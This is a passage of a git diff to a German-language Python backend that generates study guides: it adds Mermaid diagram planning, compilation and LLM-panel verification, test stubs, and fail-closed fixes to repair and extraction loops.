zeigt auf das, was sie ermöglicht). Kein LLM.""" + knoten = [{"id": str(a["id"]), "label": a["titel"]} for a in atome] + kanten_spec = [{"von": str(k["zu_atom"]), "zu": str(k["von_atom"]), "label": ""} + for k in kanten] + return {"typ": "dependency", "knoten": knoten, "kanten": kanten_spec} + + +# ── Kompilieren (deterministisch, kein LLM) ─────────────────────────────────── + +def _sid(raw) -> str: + """Mermaid-Knoten-ID: nur alnum/_ erlaubt, führender Buchstabe.""" + return "n" + re.sub(r"[^A-Za-z0-9]", "_", str(raw)) + + +def _lbl(text) -> str: + """Label für Mermaid entschärfen: keine Anführungszeichen/Klammern/Zeilenumbrüche, + die die Syntax brechen. Gekürzt (Lesbarkeit).""" + t = str(text).replace('"', "'").replace("\n", " ") + t = t.replace("[", "(").replace("]", ")").replace("{", "(").replace("}", ")") + return t.strip()[:80] or "?" + + +def _spec_zu_mermaid(spec: dict) -> str: + """Struktur-JSON → Mermaid-Quelltext. state → stateDiagram-v2, sonst flowchart.""" + knoten = spec.get("knoten") or [] + kanten = spec.get("kanten") or [] + if not knoten: + return "" + if spec.get("typ") == "state": + zeilen = ["stateDiagram-v2"] + for k in kanten: + lab = _lbl(k.get("label", "")) + pfeil = f": {lab}" if lab and lab != "?" else "" + zeilen.append(f" {_sid(k['von'])} --> {_sid(k['zu'])}{pfeil}") + return "\n".join(zeilen) + zeilen = ["flowchart TD"] + for n in knoten: + zeilen.append(f' {_sid(n["id"])}["{_lbl(n["label"])}"]') + for k in kanten: + lab = _lbl(k.get("label", "")) + pfeil = f"-- {lab} -->" if lab and lab != "?" else "-->" + zeilen.append(f' {_sid(k["von"])} {pfeil} {_sid(k["zu"])}') + return "\n".join(zeilen) + + +def _kompilieren(topic: str) -> None: + for d in db.query("SELECT * FROM diagramme WHERE topic=? AND status='geplant'" + " AND spec!='{}'", (topic,)): + mermaid = _spec_zu_mermaid(db.uj(d["spec"], {})) + if mermaid: + db.update("diagramme", "id", d["id"], mermaid=mermaid, status="kandidat") + + +# ── Planung (welche + Typ) ──────────────────────────────────────────────────── + +def _planen(topic: str) -> None: + """Deterministischer Zweig: Baustein mit ≥DIAGRAMM_MIN_KANTEN internen + braucht-Kanten → Abhängigkeitsdiagramm aus dem DAG. Idempotent: Bausteine mit + bestehender Diagramm-Zeile werden übersprungen. Kein LLM, null Halluzination.""" + for b in _bausteine(topic): + if db.one("SELECT id FROM diagramme WHERE baustein_id=?", (b["id"],)): + continue + atome = _atome_von(b["id"]) + ids = {a["id"] for a in atome} + kanten = _interne_kanten(topic, ids) + if len(kanten) >= DIAGRAMM_MIN_KANTEN: + db.insert("diagramme", topic=topic, baustein_id=b["id"], typ="dependency", + quelle="dag", spec=db.j(_dag_spec(atome, kanten)), status="geplant") + + +def _atom_liste(atome: list[dict]) -> str: + return "\n".join(f"{a['id']}: {a['titel']} — {a['definition']}" for a in atome) + + +async def _plan_judge(ctx: llm.Kontext) -> None: + """LLM-Zweig, Schritt „welche + Typ": je Baustein OHNE Diagramm-Zeile entscheidet + ein Judge, ob ein Automaten-/Ablauf-/Baum-Diagramm nötig ist (Multimedia-Regel + im Prompt). „noetig" → status='geplant'/quelle='llm'; sonst eine 'kein'-Zeile, + damit der Judge nicht jede Repair-Iteration erneut fragt (idempotent).""" + alle = _bausteine(ctx.topic) + je_kap: dict = {} + for b in alle: + je_kap.setdefault(b["kapitel_id"], []).append(b["titel"]) + + async def einer(b: dict) -> None: + if db.one("SELECT id FROM diagramme WHERE baustein_id=?", (b["id"],)): + return + atome = _atome_von(b["id"]) + if not atome: + return + nachbarn = "\n".join(f"- {t}" for t in je_kap.get(b["kapitel_id"], []) + if t != b["titel"]) or "(keine)" + res = await llm.call(ctx, stage="diagramm_plan", template="Diagramm-Plan", + role="judge", n=len(atome), item=f"dp{b['id']}", + werte={"titel": b["titel"], "atome": _atom_liste(atome), + "nachbarn": nachbarn, + "durchgang": DURCHGANG.get(b["level"], DURCHGANG["M"])}, + erwartet=dict) + if res is None: + return # Ausfall → nächste Runde erneut (kein 'kein'-Eintrag) + typ = str(res.get("typ", "")).strip() + if res.get("noetig") and typ in DIAGRAMM_TYPEN and typ != "dependency": + db.insert("diagramme", topic=ctx.topic, baustein_id=b["id"], typ=typ, + quelle="llm", status="geplant") + else: + db.insert("diagramme", topic=ctx.topic, baustein_id=b["id"], typ="", + quelle="llm", status="kein") # kein Diagramm — nicht erneut fragen + + await llm.alle(einer(b) for b in alle) + + +def _spec_normalisieren(res: dict, typ: str) -> dict: + """LLM-Spec säubern: nur Knoten mit id+label, nur Kanten zwischen echten Knoten.""" + knoten = [{"id": str(n.get("id", "")).strip(), "label": str(n.get("label", "")).strip()} + for n in (res.get("knoten") or []) if isinstance(n, dict) and n.get("id")] + gueltig = {n["id"] for n in knoten} + kanten = [{"von": str(k.get("von", "")).strip(), "zu": str(k.get("zu", "")).strip(), + "label": str(k.get("label", "")).strip()} + for k in (res.get("kanten") or []) + if isinstance(k, dict) and str(k.get("von")) in gueltig + and str(k.get("zu")) in gueltig] + return {"typ": typ, "knoten": knoten, "kanten": kanten} + + +async def _spec_bauen(ctx: llm.Kontext) -> None: + """LLM liefert NUR Struktur-JSON (kein Mermaid) — die Hauptfehlerquelle + (roh geschriebenes Mermaid) fällt so weg. Kompiliert wird deterministisch.""" + offen = db.query("SELECT * FROM diagramme WHERE topic=? AND status='geplant'" + " AND quelle='llm' AND spec='{}'", (ctx.topic,)) + + async def einer(d: dict) -> None: + b = db.one("SELECT * FROM bausteine WHERE id=?", (d["baustein_id"],)) + atome = _atome_von(d["baustein_id"]) + res = await llm.call(ctx, stage="diagramm_spec", template="Diagramm-Spec", + role="guide", n=len(atome), item=f"ds{d['id']}", + werte={"titel": b["titel"] if b else "", "typ": d["typ"], + "atome": _atom_liste(atome)}, erwartet=dict) + if res is None: + return # Ausfall → bleibt 'geplant', nächste Runde erneut + spec = _spec_normalisieren(res, d["typ"]) + if spec["knoten"]: + db.update("diagramme", "id", d["id"], spec=db.j(spec)) + + await llm.alle(einer(d) for d in offen) + + +async def _verifizieren(ctx: llm.Kontext) -> None: + """Grounding-Panel für LLM-Diagramme: jeder Knoten muss aus einem Atom ableitbar + sein, keine erfundene Struktur. Verwerfen (destruktiv) nur einstimmig + (llm.einstimmig) — Panel-Ausfall lässt den Kandidaten stehen.""" + offen = db.query("SELECT * FROM diagramme WHERE topic=? AND status='kandidat'" + " AND quelle='llm'", (ctx.topic,)) + + def urteil(stimme): + if stimme and isinstance(stimme[0], dict) and "ok" in stimme[0]: + return bool(stimme[0]["ok"]) + return None + + async def einer(d: dict) -> None: + atome = _atome_von(d["baustein_id"]) + stimmen = await llm.panel(ctx, VERIFY_PANEL, stage="diagramm_verify", + template="Diagramm-Verify", schritt="diagramm_verify", + role="judge", n=len(atome), item=f"dv{d['id']}", + werte={"atome": _atom_liste(atome), "mermaid": d["mermaid"]}, + erwartet=list) + if llm.einstimmig(stimmen, VERIFY_PANEL, urteil): + db.update("diagramme", "id", d["id"], status="verifiziert") + elif llm.einstimmig(stimmen, VERIFY_PANEL, + lambda s: None if urteil(s) is None else not urteil(s)): + db.update("diagramme", "id", d["id"], status="verworfen", + befunde=db.j(["Grounding-Panel: nicht aus den Atomen ableitbar"])) + # sonst: Kandidat bleibt (Panel-Ausfall / uneins) — nächste Runde erneut + + await llm.alle(einer(d) for d in offen) + + +# ── Ebenen-Vertrag ──────────────────────────────────────────────────────────── + +async def bauen(ctx: llm.Kontext) -> None: + ctx.ebene = EBENE + _planen(ctx.topic) # welche/Typ: deterministisch (DAG) + await _plan_judge(ctx) # welche/Typ: Judge (Automaten/Abläufe/Bäume) + await _spec_bauen(ctx) # LLM → Struktur-JSON (kein rohes Mermaid) + _kompilieren(ctx.topic) # Spec → Mermaid (deterministisch) + _gate_kandidaten(ctx.topic) # Parse-Gate: ungültige Mermaid-Quelle → verworfen + # dag-Diagramme sind per Konstruktion gegroundet → nach bestandenem Gate verifiziert + for d in db.query("SELECT id FROM diagramme WHERE topic=? AND status='kandidat'" + " AND quelle='dag'", (ctx.topic,)): + db.update("diagramme", "id", d["id"], status="verifiziert") + await _verifizieren(ctx) # LLM-Diagramme: Grounding-Panel gegen die Atome + + +def _gate_kandidaten(topic: str) -> None: + """Kandidaten durchs Parse-Gate: Syntaxfehler → verworfen (mit Befund). Ein + kaputtes Diagramm darf nie in den Guide (fail-closed).""" + kandidaten = db.query("SELECT * FROM diagramme WHERE topic=? AND status='kandidat'" + " AND mermaid!=''", (topic,)) + fehler = _mermaid_fehler(kandidaten) + for d in kandidaten: + if d["id"] in fehler: + db.update("diagramme", "id", d["id"], status="verworfen", + befunde=db.j([f"Parse-Fehler: {fehler[d['id']]}"])) + + +def messen(ctx: llm.Kontext) -> list[dict]: + befunde = [] + for d in db.query("SELECT * FROM diagramme WHERE topic=? AND status='kandidat'", + (ctx.topic,)): + # hängengebliebener Kandidat (Spec/Verify offen) — sichtbar, kein stiller Verlust + befunde.append({"art": "diagramm_unverifiziert", "item": str(d["id"]), + "detail": f"Baustein {d['baustein_id']}"}) + return befunde + + +async def reparieren(ctx: llm.Kontext, befunde: list[dict]) -> bool: + ctx.ebene = EBENE + if not befunde: + return False + await bauen(ctx) + return True + + +def gate(ctx: llm.Kontext) -> str | None: + """Diagramme sind optional — KEINE Diagramme blockiert den Lauf nicht. Backstop: + ein verifiziertes Diagramm ohne Mermaid-Quelltext darf nie ausgeliefert werden.""" + tot = db.one("SELECT id FROM diagramme WHERE topic=? AND status='verifiziert'" + " AND mermaid='' LIMIT 1", (ctx.topic,)) + return "verifiziertes Diagramm ohne Quelltext" if tot else None diff --git a/backend/fake_agents.py b/backend/fake_agents.py index 0b5765f..65084c4 100644 --- a/backend/fake_agents.py +++ b/backend/fake_agents.py @@ -205,8 +205,12 @@ def _writer(prompt: str): lo = int(re.search(r"hat (\d+)–", prompt).group(1)) if re.search(r"hat (\d+)–", prompt) else 40 absaetze = [f"Ziel dieser Einheit: {ziel.group(1) if ziel else 'Lernen'}. Formal: $n \\ge 0$."] fuellung = "Daran anknüpfend gehen wir das Schritt für Schritt am Beispiel durch. " * 5 - for (mk, titel), d in zip(marker, defs): - absaetze.append(f"#### {titel} verstehen\n{mk}\n{d} {fuellung}") + diag = re.findall(r"()", prompt) # angebotene Diagramme + for n, ((mk, titel), d) in enumerate(zip(marker, defs)): + block = f"#### {titel} verstehen\n{mk}\n{d} {fuellung}" + if n == 0 and diag: # erstes Diagramm beim ersten Absatz platzieren + block += f"\n\n{diag[0]}" + absaetze.append(block) absaetze.append("**Kernpunkte:**\n" + "\n".join(f"- {t} sitzt" for _, t in marker)) if fragen: absaetze.append("**Prüfe dich:**\n" + "\n".join(f"- {f}" for f in fragen)) @@ -217,6 +221,23 @@ def _writer(prompt: str): "lang": lang} +def _diagramm_plan(prompt: str): + # deterministisch: die Fake-Welt braucht kein LLM-Diagramm (DAG-Pfad wird + # getestet). Unit-Tests für den LLM-Zweig monkeypatchen diesen Handler. + return {"noetig": False, "typ": ""} + + +def _diagramm_spec(prompt: str): + ids = [i for i in re.findall(r"^(\d+):", _text_nach(prompt, "ATOME:"), re.MULTILINE)] + knoten = [{"id": i, "label": f"Konzept {i}"} for i in ids] + kanten = [{"von": ids[k], "zu": ids[k + 1], "label": ""} for k in range(len(ids) - 1)] + return {"typ": "flow", "knoten": knoten, "kanten": kanten} + + +def _diagramm_verify(prompt: str): + return [{"ok": True, "mangel": ""}] + + def _pruefer(prompt: str): return {"befunde": []} @@ -251,4 +272,6 @@ _HANDLER = { "Kanten-Zyklus": _zyklus, "Guide-Writer": _writer, "Guide-Pruefer": _pruefer, "Guide-Fix": _fix, "QA-Guide-Falsch": _qa_falsch, "QA-Guide-Falsch-Check": _qa_falsch_check, + "Diagramm-Plan": _diagramm_plan, "Diagramm-Spec": _diagramm_spec, + "Diagramm-Verify": _diagramm_verify, } diff --git a/backend/guide.py b/backend/guide.py index 0e7aa63..79fbc75 100644 --- a/backend/guide.py +++ b/backend/guide.py @@ -50,7 +50,51 @@ def _katex_fehler(formeln: list[dict]) -> list[str]: EBENE = "guide" _MARKER = re.compile(r"") # ganze Marker-Zeile (für Text-Checks) +# ganze Marker-Zeile — non-greedy statt [^>]*, sonst bricht ein „>" im Atom-Titel +# den Match und die Marker-Zeile bliebe in den Text-Checks stehen (Marker sind +# einzeilig, also kein DOTALL). Muster spiegelt frontend/src/markdown.js. +_MARKER_VOLL = re.compile(r"") +_MARKER_DIAGRAMM = re.compile(r"") + +# Kurzbeschreibung je Diagramm-Typ (Writer-Angebot) +_DIAGRAMM_BESCHR = {"dependency": "Abhängigkeitsgraph der Begriffe dieses Bausteins", + "state": "Zustandsdiagramm/Automat", "flow": "Ablaufdiagramm", + "tree": "Baumstruktur"} + + +def _ohne_marker(text: str) -> str: + """Marker-Zeilen entfernen: sie sind Backend-Schnittstelle, kein Fließtext. + ALLE Text-Checks (Stil, Mathe, Länge, Vorwärtsverweise) laufen auf dem + gestrippten Text — sonst erzeugen Atom-TITEL wie „a_n" oder „Satz 6.26" + unfixierbare Aufträge (der Fix darf Marker nie ändern → Endlos-Loop). + Diagramm-Marker gehören ebenso raus.""" + return _MARKER_DIAGRAMM.sub("", _MARKER_VOLL.sub("", text)) + + +def _diagramme_von(baustein_id: int) -> list[dict]: + return db.query("SELECT * FROM diagramme WHERE baustein_id=? AND status='verifiziert'" + " ORDER BY id", (baustein_id,)) + + +def _diagramm_angebot(baustein_id: int) -> str: + """Verfügbare Diagramme für den Writer — er platziert den Marker beim Absatz.""" + zeilen = [f" — {_DIAGRAMM_BESCHR.get(d['typ'], d['typ'])}" + for d in _diagramme_von(baustein_id)] + return "\n".join(zeilen) or "(keine)" + + +def _diagramm_einsetzen(baustein_id: int, lang: str) -> str: + """Assembly: `` → ```mermaid-Fence des verifizierten + Diagramms. Tote/unverifizierte Marker fallen ersatzlos weg.""" + if "" + f" entfernen (kein solches verifiziertes Diagramm)"}) for auftrag in _det_auftraege(ctx.topic, b, lang, sec["text_kompakt"], qa=True): befunde.append({"art": "det_check", "item": str(b["id"]), "detail": auftrag[:300]}) + # Rest-Aufträge eines gescheiterten Fix (stage bleibt „done", befunde nicht + # geleert) sichtbar machen — sonst passiert eine bekannte Lücke das Gate. + for auftrag in db.uj(sec["befunde"]): + befunde.append({"art": "fix_offen", "item": str(b["id"]), + "detail": str(auftrag)[:300]}) ziel = db.one("SELECT text FROM lernziele WHERE id=?", (b["ziel_id"],)) if ziel: noetig = _stopfrei(ziel["text"]) @@ -541,9 +627,15 @@ async def messen_llm(ctx: llm.Kontext) -> list[dict]: import hashlib ctx.ebene = EBENE befunde = [] + # topic-scoped (nicht run-scoped): ein in Run N bestätigter Fakten-Fehler bleibt + # nach Pause/Resume (Run N+1) sichtbar, sonst greift der qa_hash-Skip fälschlich. offene_falsch = {b["item"] for b in db.query( - "SELECT item FROM befunde WHERE run_id=? AND ebene=? AND art='fachlich_falsch'" - " AND status='offen'", (ctx.run_id, EBENE))} + "SELECT b.item FROM befunde b JOIN runs r ON r.id=b.run_id" + " WHERE r.topic=? AND b.ebene=? AND b.art='fachlich_falsch' AND b.status='offen'", + (ctx.topic, EBENE))} + + def hash_setzen(bid: int, h: str) -> None: + db.execute("UPDATE sections SET qa_hash=? WHERE baustein_id=?", (h, bid)) async def eine(b: dict) -> None: sec = db.one("SELECT * FROM sections WHERE baustein_id=?", (b["id"],)) @@ -552,16 +644,20 @@ async def messen_llm(ctx: llm.Kontext) -> list[dict]: h = hashlib.sha256(sec["text_lang"].encode()).hexdigest()[:12] if h == sec["qa_hash"] and str(b["id"]) not in offene_falsch: return # unverändert und sauber — kein Re-Check - db.execute("UPDATE sections SET qa_hash=? WHERE baustein_id=?", (h, b["id"])) + # qa_hash ERST nach vollständiger Prüfung setzen — bei Call-/Panel-Ausfall + # bleibt die Section ungeprüft (fail-closed statt fail-open). atome = _atome_von(b["id"]) fakten = "\n".join(f"- {a['titel']}: " + " | ".join(_zitate(a["id"], 2)) for a in atome) verdacht = await llm.call(ctx, stage="qa_falsch", template="QA-Guide-Falsch", schritt="qa_judge", role="judge", item=f"b{b['id']}", werte={"fakten": fakten, "text": sec["text_lang"]}, erwartet=list) - claims = [str(c.get("claim", "")).strip() for c in verdacht or [] + if verdacht is None: + return # Verdachts-Call ausgefallen → nächste Runde erneut, kein Hash + claims = [str(c.get("claim", "")).strip() for c in verdacht if isinstance(c, dict) and c.get("claim")] if not claims: + hash_setzen(b["id"], h) # sauber geprüft return stimmen = await llm.panel(ctx, 2, stage="qa_falsch_check", template="QA-Guide-Falsch-Check", schritt="qa_judge", role="judge", item=f"b{b['id']}", @@ -569,20 +665,34 @@ async def messen_llm(ctx: llm.Kontext) -> list[dict]: "claims": "\n".join(f"{i + 1}: {c}" for i, c in enumerate(claims))}, erwartet=list) + if not stimmen: + return # Panel-Ausfall → kein Hash, nächste Runde prüft erneut for i, claim in enumerate(claims, 1): ja = sum(1 for s in stimmen for e in s if isinstance(e, dict) and e.get("claim") == i and e.get("falsch")) if ja >= 2: befunde.append({"art": "fachlich_falsch", "item": str(b["id"]), "detail": claim[:200]}) + hash_setzen(b["id"], h) # vollständig geprüft - await asyncio.gather(*(eine(b) for b in _bausteine(ctx.topic))) + await llm.alle(eine(b) for b in _bausteine(ctx.topic)) return befunde +def _text_sig(b_id: int) -> str: + import hashlib + s = db.one("SELECT text_kompakt, text_lang FROM sections WHERE baustein_id=?", (b_id,)) + if not s: + return "" + roh = (s["text_kompakt"] or "") + "\x00" + (s["text_lang"] or "") + return hashlib.sha256(roh.encode()).hexdigest()[:16] + + async def reparieren(ctx: llm.Kontext, befunde: list[dict]) -> bool: """Kritische Befunde → zurück auf pruefer (voller Kontext + Re-Check); - Stil-Befunde → direkt in den Fix (genau ein Rewrite).""" + Stil-Befunde → direkt in den Fix (genau ein Rewrite). Rückgabe ist ehrlich: + True nur, wenn sich Section-Text tatsächlich geändert hat — sonst erkennt + auto_loop nie Stillstand und dreht alle 10 Iterationen wirkungslos durch.""" ctx.ebene = EBENE betroffen: dict[int, list[dict]] = {} for b in befunde: @@ -591,17 +701,35 @@ async def reparieren(ctx: llm.Kontext, befunde: list[dict]) -> bool: except (ValueError, TypeError): continue betroffen.setdefault(b_id, []).append(b) + if not betroffen: + return False for b_id, liste in betroffen.items(): arten = [x["art"] for x in liste] - if any(a in KRITISCH or a == "section_fehlt" for a in arten): - stage = "writer" if "section_fehlt" in arten else "pruefer" - db.execute("UPDATE sections SET stage=? WHERE baustein_id=?", (stage, b_id)) + # ein fix_offen-Detail mit KRITISCH-Präfix ist ebenfalls kritisch + kritisch_detail = any(x["art"] == "fix_offen" + and str(x["detail"]).startswith("KRITISCH") for x in liste) + if any(a in KRITISCH or a == "section_fehlt" for a in arten) or kritisch_detail: + if "section_fehlt" in arten: + db.execute("UPDATE sections SET stage='writer' WHERE baustein_id=?", (b_id,)) + else: + # KRITISCH-Details in die Spalte schreiben, damit _stage_pruefer sie + # sieht (der bestätigte Claim erreicht sonst weder Prüfer noch Fix) + vorhanden = db.uj(db.one("SELECT befunde FROM sections WHERE baustein_id=?", + (b_id,))["befunde"]) + neu = [f"KRITISCH ({x['art']}): {x['detail']}" for x in liste + if x["art"] in KRITISCH] + zusammen = list(dict.fromkeys(vorhanden + neu)) + db.update("sections", "baustein_id", b_id, stage="pruefer", + befunde=db.j(zusammen)) else: - # Detail mitgeben — „Behebe: vorwaerts“ ohne den Begriff ließ den Fix - # raten (aak: 371 kumulierte vorwaerts-Befunde über 10 Iterationen) - auftraege = [f"Behebe ({x['art']}): {x['detail']}" for x in liste] + # bestehende Fix-Aufträge (fix_offen) behalten, Stil-Details anhängen + vorhanden = db.uj(db.one("SELECT befunde FROM sections WHERE baustein_id=?", + (b_id,))["befunde"]) + neu = [f"Behebe ({x['art']}): {x['detail']}" for x in liste + if x["art"] != "fix_offen"] + auftraege = list(dict.fromkeys(vorhanden + neu)) db.update("sections", "baustein_id", b_id, stage="fix", befunde=db.j(auftraege)) db.update("bausteine", "id", b_id, status="repair") - if betroffen: - await bauen(ctx) - return bool(betroffen) + vorher = {b_id: _text_sig(b_id) for b_id in betroffen} + await bauen(ctx) + return any(vorher[b_id] != _text_sig(b_id) for b_id in betroffen) diff --git a/backend/inventar.py b/backend/inventar.py index a47caf5..561eb77 100644 --- a/backend/inventar.py +++ b/backend/inventar.py @@ -34,15 +34,15 @@ def aktive_atome(topic: str) -> list[dict]: # ── Extraktion ──────────────────────────────────────────────────────────────── async def _extrahiere_quelle(ctx: llm.Kontext, quelle: dict, force: bool = False) -> None: - # Idempotenz-Guard: hat die Quelle schon verankerte Atome (z. B. nach Soll-Reset), - # wird sie nicht erneut gelesen — sonst Doppel-Extraktion. force=True (Repair - # quelle_unvollstaendig) liest trotzdem; Doppelte fängt der Anker-Dedup. - schon = db.one( - "SELECT a.id FROM atome a JOIN anker k ON k.atom_id=a.id" - " WHERE a.topic=? AND k.quelle_id=? AND a.status NOT IN ('gemerged','verworfen')" - " LIMIT 1", (ctx.topic, quelle["id"])) - if schon and not force: - db.update("quellen", "id", quelle["id"], status="atome") + # Idempotenz-Guard über `atome_stand` (nicht „hat irgendein Anker-Atom"): dieser + # Merker wird erst NACH einem vollständigen Extraktions-Pass gesetzt. Bricht der + # Lauf mitten in der Extraktion ab (einige Reader haben schon eingefügt, Merker + # noch leer), liest der Resume die Quelle komplett neu — sonst gingen die Atome + # der ungelesenen Abschnitte still verloren. Doppelte fängt der Anker-Overlap-Merge. + # force=True (Repair quelle_unvollstaendig) liest ohnehin neu. + stand = db.one("SELECT atome_stand FROM quellen WHERE id=?", (quelle["id"],)) + if stand and stand["atome_stand"] and not force: + db.update("quellen", "id", quelle["id"], status=stand["atome_stand"]) return text = korpus.quelltext(quelle) # aufgaben-Quellen: das GEÜBTE Konzept destillieren, nie die Aufgabeninstanz @@ -61,8 +61,8 @@ async def _extrahiere_quelle(ctx: llm.Kontext, quelle: dict, force: bool = False # deterministisch — stumpfes Wiederholen hilft nie): Chunk halbieren. if tiefe < 2 and len(chunk) > 2000: mitte = len(chunk) // 2 - await asyncio.gather(reader(offset, chunk[:mitte], r, tiefe + 1), - reader(offset + mitte, chunk[mitte:], r, tiefe + 1)) + await llm.alle((reader(offset, chunk[:mitte], r, tiefe + 1), + reader(offset + mitte, chunk[mitte:], r, tiefe + 1))) else: fehl.append(offset) # nicht still: Quelle bleibt unvollständig return @@ -91,12 +91,14 @@ async def _extrahiere_quelle(ctx: llm.Kontext, quelle: dict, force: bool = False start=-1, ende=-1, zitat=zitat) stuecke = textkit.abschnitte(text) - await asyncio.gather(*(reader(off, chunk, r) - for off, chunk in stuecke - for r in range(READER_JE_ABSCHNITT))) + await llm.alle(reader(off, chunk, r) + for off, chunk in stuecke + for r in range(READER_JE_ABSCHNITT)) if fehl: # stiller Chunk-Verlust hieß bisher trotzdem „atome" (Lernen: 41 Calls leer) log.warning("Quelle %s: %d Abschnitt(e) ohne Extraktion", quelle["id"], len(fehl)) - db.update("quellen", "id", quelle["id"], status="teilweise" if fehl else "atome") + endstand = "teilweise" if fehl else "atome" + # Merker erst JETZT setzen (nach vollständigem Pass) — er ist das Resume-Gate + db.update("quellen", "id", quelle["id"], status=endstand, atome_stand=endstand) # ── Dedup ───────────────────────────────────────────────────────────────────── @@ -161,6 +163,9 @@ def _anker_dedup(topic: str) -> None: if passt: gew, ver = (a_id, b_id) if len(je_def[a_id]) >= len(je_def[b_id]) else (b_id, a_id) _merge(topic, gew, ver) + # Verlierer-Anker in-memory erben, sonst übersteht eine transitive + # Dublette (C überlappt nur mit B, B ging in A) diesen Pass. + anker[gew].extend(anker[ver]) def _geprueft(a: int, b: int) -> bool: @@ -233,7 +238,7 @@ async def _judge_dedup(ctx: llm.Kontext) -> None: " VALUES(?,?,?,'verwandt','nein')", (topic, lo, hi)) chunks = [offen[i:i + PAAR_CHUNK] for i in range(0, len(offen), PAAR_CHUNK)] - await asyncio.gather(*(chunk_urteil(c) for c in chunks)) + await llm.alle(chunk_urteil(c) for c in chunks) def _erster_anker(atom_id: int) -> str: @@ -283,13 +288,13 @@ async def _soll_zuordnen(ctx: llm.Kontext, nur_offene: bool = True) -> None: db.update("atome", "id", a["id"], soll_id=sid) chunks = [atome[i:i + ZIELE_CHUNK_ATOME] for i in range(0, len(atome), ZIELE_CHUNK_ATOME)] - await asyncio.gather(*(chunk_zuordnen(c) for c in chunks)) + await llm.alle(chunk_zuordnen(c) for c in chunks) async def bauen(ctx: llm.Kontext) -> None: ctx.ebene = EBENE offene = db.query("SELECT * FROM quellen WHERE topic=? AND status='extrahiert'", (ctx.topic,)) - await asyncio.gather(*(_extrahiere_quelle(ctx, q) for q in offene)) + await llm.alle(_extrahiere_quelle(ctx, q) for q in offene) _anker_dedup(ctx.topic) await _judge_dedup(ctx) _kanten_aufloesen(ctx.topic) @@ -351,8 +356,19 @@ async def reparieren(ctx: llm.Kontext, befunde: list[dict]) -> bool: if b["art"] == "quelle_unvollstaendig": q = db.one("SELECT * FROM quellen WHERE id=?", (item,)) if q: + vorher = db.one( + "SELECT COUNT(*) AS n FROM anker k JOIN atome a ON a.id=k.atom_id" + " WHERE a.topic=? AND k.quelle_id=? AND a.status NOT IN" + " ('gemerged','verworfen')", (ctx.topic, q["id"]))["n"] await _extrahiere_quelle(ctx, q, force=True) - return True + nachher = db.one( + "SELECT COUNT(*) AS n FROM anker k JOIN atome a ON a.id=k.atom_id" + " WHERE a.topic=? AND k.quelle_id=? AND a.status NOT IN" + " ('gemerged','verworfen')", (ctx.topic, q["id"]))["n"] + # ehrliches bewegt: blieb die Quelle 'teilweise' ohne neue Anker, + # erkennt auto_loop Stillstand statt 10 Token-Runden zu drehen + nq = db.one("SELECT status FROM quellen WHERE id=?", (q["id"],)) + return nq["status"] == "atome" or nachher > vorher return False # Anker-Fixes gebündelt (Batch je Quelle statt Atom×Quelle — war 83 % der @@ -411,6 +427,8 @@ async def _anker_fixen_batch(ctx: llm.Kontext, atom_ids: list[int]) -> bool: offen[atom_id] = a quellen = db.query("SELECT * FROM quellen WHERE topic=?", (ctx.topic,)) texte = {q["id"]: korpus.quelltext(q) for q in quellen} + start_ids = set(offen) + ausgefallen: set[int] = set() # Atome, deren zuständiger Call ausfiel (None) for atom_id in list(offen): for roh in db.query("SELECT * FROM anker WHERE atom_id=? AND start<0", (atom_id,)): @@ -432,6 +450,9 @@ async def _anker_fixen_batch(ctx: llm.Kontext, atom_ids: list[int]) -> bool: schritt="fix", role="judge", n=len(ids), item=f"q{q['id']}-o{offset}", werte={"atome": liste, "text": chunk_text}, erwartet=list) + if res is None: # Call-Ausfall ≠ „keine Quellstelle" → nicht verwerfen + ausgefallen.update(i for i in ids if i in offen) + return for e in res or []: atom_id = e.get("atom") zitat = str(e.get("zitat", "")).strip() @@ -453,9 +474,13 @@ async def _anker_fixen_batch(ctx: llm.Kontext, atom_ids: list[int]) -> bool: break await llm.alle(abschnitt_call(q, offset, chunk_text, ids[i:i + ANKER_FIX_CHUNK]) for i in range(0, len(ids), ANKER_FIX_CHUNK)) - for atom_id in offen: + # Verwerfen nur, wo ALLE zuständigen Calls liefen (kein Ausfall) und keiner + # eine Quellstelle fand. Ausgefallene bleiben ohne_anker → nächste Runde erneut. + verworfen = [i for i in offen if i not in ausgefallen] + for atom_id in verworfen: db.update("atome", "id", atom_id, status="verworfen") - return bool(atom_ids) + verankert = start_ids - set(offen) + return bool(verankert or verworfen) # ehrliches „bewegt" (kein Ausfall-Dauerschleifen) async def _soll_stichentscheid(ctx: llm.Kontext, atom_id: int) -> bool: @@ -471,14 +496,16 @@ async def _soll_stichentscheid(ctx: llm.Kontext, atom_id: int) -> bool: werte={"titel": a["titel"], "definition": a["definition"], "beleg": _erster_anker(atom_id), "soll": soll_liste}, erwartet=dict) - urteile = [s.get("soll", "fremd") for s in stimmen] - if urteile and all(u == "fremd" for u in urteile): + # Verwerfen ist destruktiv → nur bei vollzähligem „fremd"-Panel. Eine Stimme + # ohne soll-Feld ist KEIN fremd-Votum (zählte bisher fälschlich mit). + if llm.einstimmig(stimmen, 2, lambda s: (s.get("soll") == "fremd") + if "soll" in s else None): db.update("atome", "id", atom_id, status="verworfen") return True gueltig = {p["id"] for p in punkte} - for u in urteile: - if u in gueltig: - db.update("atome", "id", atom_id, soll_id=u) + for s in stimmen: # Zuordnung ist nicht destruktiv → Mehrheit/erste gültige reicht + if s.get("soll") in gueltig: + db.update("atome", "id", atom_id, soll_id=s["soll"]) return True return False @@ -490,16 +517,24 @@ async def _luecke_schliessen(ctx: llm.Kontext, soll_id: int) -> bool: p = db.one("SELECT * FROM soll WHERE id=?", (soll_id,)) if not p or p["status"] != "bestaetigt": return False - runden = db.one( # bisherige Nachextraktions-Versuche: aus dem Ledger, topic-weit + # bisherige ECHTE Nachextraktions-Runden: nur erfolgreiche Calls (status='ok'; + # Parse-/Infra-Retries schreiben eigene Zeilen) und nur seit dem letzten + # Inventar-Reset (Alt-Läufe zählten sonst mit → zu früher Freispruch). + resets = db.uj(db.one("SELECT resets FROM topics WHERE name=?", (ctx.topic,))["resets"], {}) + seit = resets.get("inventar", 0) + runden = db.one( "SELECT COUNT(*) AS n FROM events e JOIN runs r ON e.run_id=r.id" - " WHERE r.topic=? AND e.stage='luecke' AND e.item=?", (ctx.topic, f"s{soll_id}"))["n"] + " WHERE r.topic=? AND e.stage='luecke' AND e.item=? AND e.status='ok' AND e.id>?", + (ctx.topic, f"s{soll_id}", seit))["n"] if runden >= LUECKEN_RUNDEN_MAX: atome = aktive_atome(ctx.topic) liste = "\n".join(f"- {a['titel']}: {a['definition']}" for a in atome[:200]) stimmen = await llm.panel(ctx, 